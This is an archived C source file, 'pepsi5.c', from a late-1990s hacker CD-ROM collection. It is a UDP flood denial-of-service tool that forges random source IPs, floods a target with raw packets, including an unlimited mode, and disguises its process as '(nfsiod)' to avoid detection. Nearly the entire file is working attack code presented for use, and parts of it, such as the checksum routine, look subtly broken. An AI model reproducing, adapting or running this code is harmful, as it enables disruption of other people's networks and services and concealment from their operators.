home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / c_scripts / pepsi5.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-04-11  |  10.3 KB  |  371 lines

  1. /*
  2.  * Pepsi5.0g By pwr @undernet.org - [ http://www.rootshell.com/ ]
  3.  * Based on Original Pepsi.c Code by Soldier
  4.  * 
  5.  * Public Distribution 1
  6.  *
  7.  * Mail debug/comments to cha0s1@hotmail.com
  8.  *
  9.  */
  10.  
  11. /*----------------- [Defines] */
  12. #define Port_Max 65534
  13. #define Packet_Max 1023
  14. #define Frequency_Max 300
  15. #define Default_Fork 0
  16. #define Default_Stealth "(nfsiod)"
  17. /* Color Pallete ------------ */
  18. #define B  "\033[1;30m"
  19. #define R  "\033[1;31m"
  20. #define G  "\033[1;32m"
  21. #define Y  "\033[1;33m"
  22. #define U  "\033[1;34m"
  23. #define M  "\033[1;35m"
  24. #define C  "\033[1;36m"
  25. #define W  "\033[1;37m"
  26. #define DR "\033[0;31m"
  27. #define DG "\033[0;32m"
  28. #define DY "\033[0;33m"
  29. #define DU "\033[0;34m"
  30. #define DM "\033[0;35m"
  31. #define DC "\033[0;36m"
  32. #define DW "\033[0;37m"
  33. #define RESTORE "\33[0;0m"
  34. #define CLEAR "\033[0;0H\033[J"
  35. /* --------------- [Includes] */
  36. #include <unistd.h>
  37. #include <stdlib.h>
  38. #include <string.h>
  39. #include <netdb.h>
  40. #include <stdio.h>
  41. #include <sys/types.h>
  42. #include <sys/socket.h>
  43. #include <netinet/in.h>
  44. #include <netinet/in_systm.h>
  45. #include <netinet/ip.h>
  46. #include <netinet/tcp.h>
  47. #include <netinet/protocols.h>
  48. #include <arpa/inet.h>
  49. #include <netdb.h>
  50. #include <signal.h>
  51. #include <netinet/ip_udp.h>
  52. #include <string.h>
  53. #include <pwd.h>
  54. #include <time.h>
  55.  
  56. /* [Banner] */
  57.  
  58. void banner()
  59. {
  60. printf("%s",CLEAR);
  61. printf("\n\n%sPepsi %s5%s.%s0g %sby SoulBlaze%s@%sundernet %s(%sBlackICE%s) %s[%s11%s|%s12%s|%s98%s]%s\n",R,W,B,W,U,G,U,B,DW,B,DC,DY,DC,DY,DC,DY,DC,RESTORE);
  62. printf("%sBased on the Original %spepsi%s.%sc %scode by %sSoldier%s\n",DU,R,B,R,DU,W,RESTORE);
  63. printf("%sAdditional Help by %sChuckStalker%s,\n",DU,W,RESTORE);
  64. printf("%sLWR%s, and %stq%s.\n",W,DU,W,RESTORE);
  65.  
  66. }
  67.  
  68.  
  69.  
  70. /* [Option Parsing] */
  71.  
  72. struct sockaddr_in dstaddr;
  73.  
  74. unsigned long dst;
  75.  
  76. struct udphdr *udp;
  77. struct iphdr *ip;
  78.  
  79. char *target;
  80. char *srchost;
  81. char *stealth;
  82.  
  83. int dstport = 0;
  84. int srcport = 0;
  85. int numpacks = 0;
  86. int psize = 0;
  87. int wait = 0;
  88. int forknum = 0;
  89.  
  90. /* [Usage] */
  91.  
  92. void usage(char *pname)
  93. {
  94.     printf("\n\n%sUsage%s %s: %s[%sarguements%s] %s<%sTarget Ip%s>%s\n\n",DG,R,pname,DM,U,DM,DM,U,DM,RESTORE);
  95.     printf("%sOption                Description                 Default Value\n\n",W,RESTORE);
  96.     printf("%s-%ss %s<%sSource IP  %s>    %s: %sPacket Origin             %s[%s    Random   %s   ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
  97.     printf("%s-%sn %s<%sPacket Num %s>    %s: %sLimit of Sent Datagrams   %s[%s   Unlimited  %s  ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
  98.     printf("%s-%sp %s<%sPacket Size%s>    %s: %sDatagram Size             %s[%s 1 - %d bytes%s ] \n",DR,DU,W,DC,W,DW,B,W,DC,Packet_Max,W,RESTORE);
  99.     printf("%s-%sd %s<%sTarget Port%s>    %s: %sDestination Port          %s[%s    Random    %s  ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
  100.     printf("%s-%so %s<%sSource Port%s>    %s: %sSource Port               %s[%s    Random    %s  ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
  101.     printf("%s-%sw %s<%sFrequency  %s>    %s: %sDelay Between Each Packet %s[%s  0 - %d ms%s    ] \n",DR,DU,W,DC,W,DW,B,W,DC,Frequency_Max,W,RESTORE);
  102.     printf("%s-%sf %s<%sFork Number%s>    %s: %sNo. of Times Backgrounded %s[%s   0 Times    %s  ]%s \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE);
  103.     printf("%s-%sx %s<%sStealth    %s>    %s: %sMask Process As           %s[%s   %s     %s]%s",DR,DU,W,DC,W,DW,B,W,DC,Default_Stealth,W,RESTORE);   
  104.     printf("\n\n");
  105.     exit(EXIT_SUCCESS);
  106. }
  107.  
  108. /* [In chksum with some mods] */
  109.  
  110. unsigned short in_cksum(addr, len)
  111. u_short *addr;
  112. int len;
  113. {
  114.     register int nleft = len;
  115.     register u_short *w = addr;
  116.     register int sum = 0;
  117.     u_short answer = 0;
  118.  
  119.     while (nleft > 1) {
  120.     sum += *w++;
  121.     sum += *w++;
  122.     nleft -= 2;
  123.     }
  124.  
  125.     if (nleft == 1) {
  126.     *(u_char *) (&answer) = *(u_char *) w;
  127.     sum += answer;
  128.     }
  129.     sum = (sum >> 17) + (sum & 0xffff);
  130.     sum += (sum >> 17);
  131.     answer = -sum;
  132.     return (answer);
  133. }
  134.  
  135. /* Resolve Functions */
  136.  
  137. unsigned long resolve(char *cp)
  138. {
  139.     struct hostent *hp;
  140.  
  141.     hp = gethostbyname(cp);
  142.     if (!hp) {
  143.     printf("[*] Unable to resolve %s\t\n", cp);
  144.         exit(EXIT_FAILURE);
  145.     }
  146.     return ((unsigned long) hp->h_addr);
  147. }
  148.  
  149. void resolvedest(void)
  150. {
  151.     struct hostent *host;
  152.  
  153.     memset(&dstaddr, 0, sizeof(struct sockaddr_in));
  154.     dstaddr.sin_family = AF_INET;
  155.     dstaddr.sin_addr.s_addr = inet_addr(target);
  156.     if (dstaddr.sin_addr.s_addr == -1) {
  157.     host = gethostbyname(target);
  158.     if (host == NULL) {
  159.         printf("[*] Unable To resolve %s\t\n", target);
  160.             exit(EXIT_FAILURE);
  161.     }
  162.     dstaddr.sin_family = host->h_addrtype;
  163.     memcpy((caddr_t) & dstaddr.sin_addr, host->h_addr, host->h_length);
  164.     }
  165.     memcpy(&dst, (char *) &dstaddr.sin_addr.s_addr, 4);
  166. }
  167.  
  168. /* Parsing Argz */
  169.  
  170. void parse_args(int argc, char *argv[])
  171. {
  172.     int opt;
  173.  
  174.     while ((opt = getopt(argc, argv, "x:s:d:n:p:w:o:f:")) != -1)
  175.     switch (opt) {
  176.     case 's':
  177.         srchost = (char *) malloc(strlen(optarg) + 1);
  178.         strcpy(srchost, optarg);
  179.         break;
  180.         case 'x':
  181.             stealth = (char *) malloc(strlen(optarg));
  182.             strcpy(stealth, optarg);
  183.             break;
  184.     case 'd':
  185.         dstport = atoi(optarg);
  186.         break;
  187.     case 'n':
  188.         numpacks = atoi(optarg);
  189.         break;
  190.     case 'p':
  191.         psize = atoi(optarg);
  192.         break;
  193.     case 'w':
  194.         wait = atoi(optarg);
  195.         break;
  196.     case 'o':
  197.         srcport = atoi(optarg);
  198.         break;
  199.     case 'f':
  200.             forknum = atoi(optarg);
  201.             break;
  202.         default:
  203.         usage(argv[0]);
  204.     }
  205.     if (!stealth)
  206.        stealth = Default_Stealth;
  207.     if (!forknum)
  208.        forknum = Default_Fork;
  209.     if (!argv[optind]) {
  210.     printf("\n\n%s[%s*%s]%s Bzzzt .. We need a Place for the Packets to Go%s\n",DC,W,DC,DR,RESTORE);
  211.     exit(EXIT_FAILURE);
  212.     }
  213.     target = (char *) malloc(strlen(argv[optind]));
  214.     if (!target) {
  215.     printf("\n\n%s[%s*%s]%s Unable to Allocate Required Amount of Memory for Task%s\n",DC,W,DC,DR,RESTORE);
  216.         perror("malloc");
  217.     exit(EXIT_FAILURE);
  218.     }
  219.     strcpy(target, argv[optind]);
  220. }
  221.  
  222. int cloaking(int argc, char *argv[])
  223. {
  224.   int x;
  225.  
  226.   for (x = argc-1; x >= 0; x--)
  227.  
  228.     memset(argv[x], 0, strlen(argv[x]));
  229.     strcpy(argv[0],stealth); 
  230.  
  231.  return(0);
  232. }
  233. /* [Send Packet] */
  234.  
  235. void main(int argc, char *argv[])
  236. {
  237.     int q, xx, sen, i, unlim = 0, sec_check;
  238.     char *packet;
  239.  
  240.     banner();
  241.  
  242.     if (argc < 2)
  243.     usage(argv[0]);
  244.  
  245.  
  246.     parse_args(argc, argv);
  247.     
  248.     cloaking(argc, argv);
  249.     
  250.     resolvedest();
  251.  
  252.     printf("\n\n%s  [%s*%s]%s  Target Host%s          :%s %s%s\n",DC,W,DC,DR,DC,DW,target,RESTORE);
  253.     if (!srchost)
  254.     printf("%s  [%s*%s]%s  Source Host%s          :%s Random%s\n",DC,W,DC,DR,DC,DW,RESTORE);
  255.     else
  256.     printf("%s  [%s*%s]%s  Source Host%s          :%s %s %s\n",DC,W,DC,DR,DC,DW,srchost,RESTORE);    
  257.     if (!numpacks)
  258.     printf("%s  [%s*%s]%s  Number%s               :%s Infinite%s\n",DC,W,DC,DR,DC,DW,RESTORE);
  259.     else
  260.     printf("%s  [%s*%s]%s  Number%s               :%s %d%s\n",DC,W,DC,DR,DC,DW,numpacks,RESTORE);
  261.     if (!psize)
  262.     printf("%s  [%s*%s]%s  Packet Size%s          :%s 1 - %d bytes%s\n",DC,W,DC,DR,DC,DW,Packet_Max,RESTORE);
  263.     else
  264.     printf("%s  [%s*%s]%s  Packet Size%s          :%s %d%s\n",DC,W,DC,DR,DC,DW,psize,RESTORE);
  265.     if (!wait)
  266.     printf("%s  [%s*%s]%s  Wait Time%s            :%s 0 - %dms%s\n",DC,W,DC,DR,DC,DW,Frequency_Max,RESTORE);
  267.     else
  268.     printf("%s  [%s*%s]%s  Wait Time%s            :%s %d%s\n",DC,W,DC,DR,DC,DW,wait,RESTORE);
  269.     if (!dstport)
  270.     printf("%s  [%s*%s]%s  Destination Port%s     :%s Random%s\n",DC,W,DC,DR,DC,DW,RESTORE);
  271.     else
  272.     printf("%s  [%s*%s]%s  Destination Port%s     :%s %d%s\n",DC,W,DC,DR,DC,DW,dstport,RESTORE);
  273.     if (!srcport)
  274.     printf("%s  [%s*%s]%s  Source Port%s          :%s Random%s\n",DC,W,DC,DR,DC,DW,RESTORE);
  275.     else
  276.     printf("%s  [%s*%s]%s  Source Port%s          :%s %d%s\n",DC,W,DC,DR,DC,DW,srcport,RESTORE);
  277.     printf("%s  [%s*%s]%s  Backgrounded%s         :%s %d%s\n",DC,W,DC,DR,DC,DW,forknum,RESTORE);
  278.     if (!stealth)
  279.     printf("%s  [%s*%s]%s  Masked As%s            :%s %s%s\n",DC,W,DC,DR,DC,DW,Default_Stealth,RESTORE);
  280.     else
  281.     printf("%s  [%s*%s]%s  Masked As%s            :%s %s%s\n",DC,W,DC,DR,DC,DW,stealth,RESTORE);
  282.  
  283.     
  284. if (forknum) {
  285.  switch(fork()) {
  286.   case -1:
  287. printf("%s  [%s*%s]%s Your OS cant Make the fork() call as we need it",DC,W,DC,DR,RESTORE); 
  288. printf("%s  [%s*%s]%s This is usually an indication of something bad%s",DC,W,DC,DR,RESTORE); 
  289.  exit(1);
  290.   case 0:
  291.    break;
  292.   default:
  293.    forknum--;
  294.     for(xx=0;xx<forknum;xx++){
  295.     switch(fork()){
  296.      case -1:
  297.      printf("%s  [%s*%s]%s Unable to fork%s\n",DC,W,DC,DR,RESTORE);
  298.      printf("%s  [%s*%s]%s This is usually an indication of something bad%s",DC,W,DC,DR,RESTORE);
  299.     exit(1);
  300.      case 0:
  301.     xx=forknum;
  302.       break;
  303.     default:
  304.  
  305.     if(xx==forknum-1){
  306.          printf("%s  [%s*%s]%s  Process Backgrounded%s\n",DC,W,DC,DR,RESTORE);
  307.         exit(0);
  308.             }
  309.     break;
  310.    }
  311.   }
  312.  }
  313. }
  314.    
  315.    sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  316.     packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + psize);
  317.     ip = (struct iphdr *) packet;
  318.     udp = (struct udphdr *) (packet + sizeof(struct iphdr));
  319.     memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + psize);
  320.  
  321.     if (!numpacks) {
  322.     unlim++;
  323.     numpacks++;
  324.     }
  325.     if (srchost && *srchost)
  326.     ip->saddr = resolve(srchost);
  327.     ip->daddr = dst;
  328.     ip->version = 4;
  329.     ip->ihl = 5;
  330.     ip->ttl = 255;
  331.     ip->protocol = IPPROTO_UDP;
  332.     ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + psize);
  333.     ip->check = in_cksum(ip, sizeof(struct iphdr));
  334.  
  335.     udp->source = htons(srcport);
  336.     udp->dest = htons(dstport);
  337.     udp->len = htons(sizeof(struct udphdr) + psize);
  338.  
  339.     /*
  340.      * Because we like to be Original Seeding rand() with something as
  341.      * unique as time seemed groovy.  Lets have a loud Boo for Pattern
  342.      * Loggers.
  343.      */ 
  344.     srand(time(0));
  345.  
  346.     for (i = 0; i < numpacks; (unlim) ? i++, i-- : i++) {
  347.     if (!srchost)
  348.       ip->saddr = rand();
  349.         if (!dstport)
  350.           udp->dest = htons(rand()%Port_Max+1);
  351.         if (!srcport)
  352.           udp->source = htons(rand()%Port_Max+1);
  353.         if (!psize)
  354.           udp->len = htons(sizeof(struct udphdr) + rand()%Packet_Max);
  355.  
  356.     if (sendto(sen, packet, sizeof(struct iphdr) +
  357.            sizeof(struct udphdr) + psize,
  358.            0, (struct sockaddr *) &dstaddr,
  359.            sizeof(struct sockaddr_in)) == (-1)) {
  360.         printf("%s[%s*%s]%s Error sending Packet%s",DC,W,DC,DR,RESTORE);
  361.         perror("SendPacket");
  362.         exit(EXIT_FAILURE);
  363.     }
  364.      if (!wait)
  365.       usleep(rand()%Frequency_Max);
  366.      else
  367.       usleep(wait);
  368.     }
  369. }
  370.  
  371.